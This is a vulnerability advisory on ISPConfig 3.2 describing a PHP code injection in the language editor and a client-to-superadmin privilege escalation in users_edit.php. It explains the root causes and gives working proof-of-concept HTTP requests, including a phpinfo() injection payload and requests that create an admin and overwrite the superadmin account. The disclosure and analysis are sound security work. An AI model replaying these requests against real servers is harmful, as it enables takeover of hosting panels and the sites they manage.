In Brief
The analysis conducted on ISPConfig (version 3.2 build 12p1) uncovered critical design flaws in the user creation and editing functionalities. These flaws allow a client user to escalate their privileges to superadmin. Furthermore, the language modification feature enables arbitrary PHP code injection due to insufficient input validation.
Scenario
Vendor Response
Together with SSD Disclosure, we reported the vulnerabilities to the vendor. While the code injection itself was “acknowledged”, the vendor argued that the full exploitation chain does not represent a real threat, claiming it requires elevated (superadmin) privileges… We clarified that, contrary to this assessment, the privilege escalation can be triggered by a remote user with access to client functions (i.e., a user allowed to create client accounts no admin user) or even a client user with the admin module enabled, a configuration allowed through the web interface, but which does not grant actual admin rights. Despite our explanation, we were unable to reach an agreement.
SSD Advisory
In Depth
Code Injection in language_edit functionality
Code Injection in language_edit functionality | |
---|---|
Vulnerable Asset | https://ispconfig.zerone.local:8080/admin/language_edit.php |
CWE | CWE-96: Improper Neutralization of Directives in Statically Saved Code (‘Static Code Injection’) CWE-185: Incorrect Regular Expression |
Precondition | The user must be a superadmin (admin with ID 1) or any admin user if the security setting: admin_allow_langedit is set to yes . |
Short Description | The language modification feature, accessible from the ISPConfig control panel under System > Language Editor > Languages, allows the injection of arbitrary PHP code due to improper validation of user input, which is partially filtered using regex. |
Impact | Inserting arbitrary PHP code within language PHP templates files. |
Overview
_The code in interface/web/admin/language_edit.php
is responsible for handling the editing of language files in ISPConfig, allowing administrators (superadmin) to modify and save translations via the web control panel.
ISPConfig uses files with the
.lng
extension to manage translations of the user interface in different languages. These files contain translated strings for the ISPConfig interface. They are essentially PHP code defining an associative array$wb
with the translations (e.g.$wb['key'] = 'translated value.'
), and are directly included in the code.
Code Behavior & Sanitization Logic
Upon analyzing the code responsible for modifying these files, it is evident that it uses regex (line: 65) to escape any "
characters in order to prevent potential attempts of arbitrary PHP code injection when reconstructing the array (line: 68).
In detail: the initial step involves verifying the data that has been submitted. This includes checking whether the variable $_POST['records']
exists and confirming that it is an array.
Subsequently, the CSRF check is conducted: $app->auth->csrf_token_check()
.
Following this, the content of the PHP file is generated. A string is initialized, starting with the PHP opening tag (<?php\n
), to which additional lines are appended. For each element within the $_POST['records']
array:
The foreach
function iterates through each element of the array $_POST['records']
. Each element of the array is treated as a key/value pair, where $key
is the key of the element and $val
is the value associated with the key.
- Any escape characters are removed using the
stripslashes()
function:$val = stripslashes($val);
- The
preg_replace()
function uses a regular expression (regex) to search for and modify “all” occurrences of double quotes ("
) in the value$val
.- It searches for double quotes (
"
) that are not preceded by a backslash. - It replaces them with an “escaped” version of the quote, i.e.
\"
.$val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
- It searches for double quotes (
- The
str_replace()
function removes all occurrences of the dollar sign ($
) from the string$val
.
Additionally, it is verified that the key of each record is valid, allowing only letters, numbers, and underscores. If any key is deemed invalid, the process is halted and an error is triggered.
Root Cause
The critical flaw in the code occurs in line: 65, specifically within the regex pattern /(^|[^\\\\])((\\\\\\\\)*)"/
:
$val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
The regex uses the group (^|[^\\\\])
to enforce a rule: a double quote ("
) must either be at the start of the string (^
) or preceded by a non-backslash character ([^\\\\]
). While this logic works for isolated quotes, it breaks for consecutive quotes due to how the regex engine processes characters.
- Character Consumption:
The
(^|[^\\\\])
group consumes a character (either the start-of-string position or a non-backslash character). Once matched, the regex engine advances past this character.
For example:
Evil_Str""ing
- First
"
character:
- The regex matches
r
(a non-backslash character) and the following"
.- Result:
r"
→r\"
(escaped).- The regex engine moves to the next position after the first
"
.- Second
"
character:
- The next character is the second
"
, but there’s no preceding character to match(^|[^\\\\])
(the previous position was already consumed).- The regex fails to recognize the second
"
because it now expects either:
The start of the string (
^
), which no longer applies.A non-backslash character, but the position before the
"
is empty.Outcome Only the first
"
is escaped. The second"
remains unprocessed.
The regex’s (^|[^\\\\])
group acts like a “character tax” – it requires and consumes a character (start-of-string or non-backslash) to escape a "
. This design makes it impossible to handle consecutive "
because once a character is “taxed” (consumed), subsequent quotes have nothing left to satisfy the rule.
<?php
$val = 'Ev"il_Str""ing';
echo("BEFORE REGEX: " . $val);
$val = stripslashes($val);
$val = preg_replace('/(^|[^\\\\])((\\\\\\\\)*)"/', '$1$2\\"', $val);
echo("\nAFTER REGEX: " . $val);
BEFORE REGEX: Ev"il_Str""ing
AFTER REGEX: Ev\"il_Str\""ing
It all becomes clearer visually:
Proof of Concept
POST /admin/language_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=omitted
Content-Length: 3670
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
records%5Berror_user_password_empty%5D=Username+or+Password+empty.&records%5Berror_user_password_incorrect%5D=Username+or+Password+wrong.%22%22%3Bphpinfo()%3B%2F%2F&records%5Berror_user_blocked%5D=&<omitted_for_brevity>&_csrf_id=language_edit_f114571ae5cb1c5b1230c798&_csrf_key=813f4ce414360a414fb7c140ea1e00344e2cd69a
Privilege Escalation through users_edit functionality
Privilege Escalation through users_edit functionality | |
---|---|
Vulnerable Asset | https://ispconfig.zerone.local:8080/admin/users_edit.php |
CWE | CWE-284: Improper Access Control CWE-20: Improper Input Validation |
Precondition | Authenticated “Remote User” with “Client Functions” enabled, or canonical client user with admin module enabled. |
Short Description | ISPConfig allows Remote Users with Client Functions enabled to perform privilege escalation by creating/modifying users, ultimately gaining access as an administrator with id=1 (“superadmin”), as it is possible to bypass existing controls through a specially crafted request body. |
Impact | Privilege escalation from a limited client role to full administrative control. |
Description
Starting from the following Remote User, which is created based on the configuration file interface/web/client/lib/remote.conf.php
, by enabling the Client functions that allow the invocation of the client_add
function from the remoting_client
class, it is possible to gain access to ISPConfig as a superadmin user. This can be done by first creating a client user using the admin module, then creating an admin user from the client account, and finally “modifying” the superadmin user.
The client_add
function handles the addition of a new client:
The function first checks if the user has the necessary permissions to add a client. Then, it performs several checks before calling the klientadd
function.
protected function klientadd($formdef_file, $reseller_id, $params)
{
global $app;
//* Load the form definition
$app->remoting_lib->loadFormDef($formdef_file);
//* load the user profile of the client
$app->remoting_lib->loadUserProfile($reseller_id);
//* Get the SQL query
$sql = $app->remoting_lib->getSQL($params, 'INSERT', 0);
//* Check if no system user with that username exists
$username = $params["username"];
...
//$app->uses('tform');
//* Save changes to Datalog
if($app->remoting_lib->formDef["db_history"] == 'yes') {
$new_rec = $app->remoting_lib->getDataRecord($insert_id);
$app->remoting_lib->datalogSave('INSERT', $primary_id, array(), $new_rec);
$app->remoting_lib->ispconfig_sysuser_add($params, $insert_id);
if($reseller_id) {
$client_group = $app->db->queryOneRecord("SELECT * FROM sys_group WHERE client_id = ?", $insert_id);
$reseller_user = $app->db->queryOneRecord("SELECT * FROM sys_user WHERE client_id = ?", $reseller_id);
$app->auth->add_group_to_user($reseller_user['userid'], $client_group['groupid']);
$app->db->query("UPDATE client SET parent_client_id = ? WHERE client_id = ?", $reseller_id, $insert_id);
}
}
return $insert_id;
}
The klientadd
function handles the addition of a new client by calling the ispconfig_sysuser_add
function.
The ispconfig_sysuser_add
function creates a new user in the ISPConfig system by retrieving the necessary parameters, checking the startup module, creating a group associated with the user, encrypting the password, and inserting the user data into the database, including access modules and customer information.
The function itself does not perform checks on the modules that the remote user can assign to the user they are creating. This means that a remote user with “Client functions” enabled is able to create a new client with the admin module enabled.
Creating a client with the admin module enabled allows the invocation of the file web/admin/users_edit.php
, as the system only checks for the presence of the admin module in the user session (which will be set during the login of the user created by the remote user).
Bypass of Admin Creation Restrictions
In the code of update_users.php
, at line 57, there is a check that is triggered when attempting to create a user with the admin
role (typ[0] == admin
). This check verifies a specific security setting called admin_allow_new_admin
, which is found in the file security/security_settings.ini
. By default, this setting is configured as superadmin
,eaning t mhat only the user with the “admin
” role and ID 1
(superadmin) is allowed to create new admin users. If, however, this setting were set to “yes,” all users with the admin role would have the ability to create new administrators.
However, this check can be easily bypassed. In fact, typ
is an array, and the code only checks if the first element of this array is “admin
” (typ[0] == admin
). This means that the request can be manipulated by passing, for example, typ[0]=&typ[1]=admin
, causing the check to fail and allowing the creation of a new user with the admin role.
The need to first create an admin user and then later modify the user with id=1
(superadmin) is dictated by the getSQL
function of the tform_action
class (interface/lib/classes/tform_actions.inc.php
), loaded at the beginning of the file: $app->load('tform_actions');
Very briefly, if the user performing an UPDATE
or INSERT
and is not an admin user, the function will deny the execution of the update or insert query.
So, the customer user will be able to create the admin user simply by setting the typ
array at position [1]
to admin
, and then later repeat the same request with the admin user just created, but by setting the id
parameter to 1
.
Proof of Concept
- Creation of client user with admin module via Remote User.
POST /remote/json.php?client_add HTTP/2
Host: ispconfig.zerone.local
User-Agent: PHP-SOAP/8.2.27
Content-Type: application/json;
Content-Length: 292
{"session_id":"m9314f1bb9b12fbbf908a49bfd889e51db9036ebf","params":{"contact_name":"user1",
"language":"it","email":"tester@ssd.com","username":"user1","password":"Belen123!","ssh_chroot":"/dev/null","startmodule":"admin","modules":"admin","web_php_options":["php-fpm"],"limit_cron_type":1}}
-
Login into ISPConfig with the newly created client user (
user1
). -
Execution of request with modification and addition of
typ
parameter for admin user creation fromuser1
POST /admin/users_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=2rlr4lqviuvnmm7lh6p23ea2ge
Content-Length: 350
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username=adminuser&passwort=Belen123!&repeat_password=Belen123!&otp_type=none&modules%5B%5D=admin&startmodule=admin&app_theme%5B%5D=default&typ%5B%5D=&typ[]=admin&active=1&language=en&lost_password_function=1&id=&_csrf_id=users_53dfd12fbf9553e7e78da358&_csrf_key=2869a8ca7f364bea061b7142ff0b5bbcd5b0ba3c&next_tab=&phpsessid=2rlr4lqviuvnmm7lh6p23ea2ge
One should have a situation similar to:
-
Loggin in as:
adminuser
-
Execution of the request with the
id
parameter modified to1
and the addition of thetyp
parameter to create asuperadmin
user from an admin user.
POST /admin/users_edit.php HTTP/2
Host: ispconfig.zerone.local:8080
Cookie: ISPCSESS=6t64khno1jle0ch59cf7muohv1
Content-Length: 350
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username=superadmin&passwort=Belen123!&repeat_password=Belen123!&otp_type=none&modules%5B%5D=admin&startmodule=admin&app_theme%5B%5D=default&typ%5B%5D=&typ[]=admin&active=1&language=en&lost_password_function=1&id=1&_csrf_id=users_0d08bd09f4844c039571391d&_csrf_key=f2923b3ff88b300521a71d4a6b76c4f1eb90d2c7&next_tab=&phpsessid=6t64khno1jle0ch59cf7muohv1
Now the situation should be similar to:
Exploit
Reference
- https://ssd-disclosure.com/ssd-advisory-ispconfig-authenticated-remote-code-execution/ - [SSD Secure Disclosure Advisory]
- https://www.ispconfig.org/ - [ISPConfig HomePage]
- https://cwe.mitre.org/data/definitions/96.html - [CWE-96]
- https://cwe.mitre.org/data/definitions/185.html - [CWE-185]
- https://cwe.mitre.org/data/definitions/284.html - [CWE-284]
- https://cwe.mitre.org/data/definitions/20.html - [CWE-20]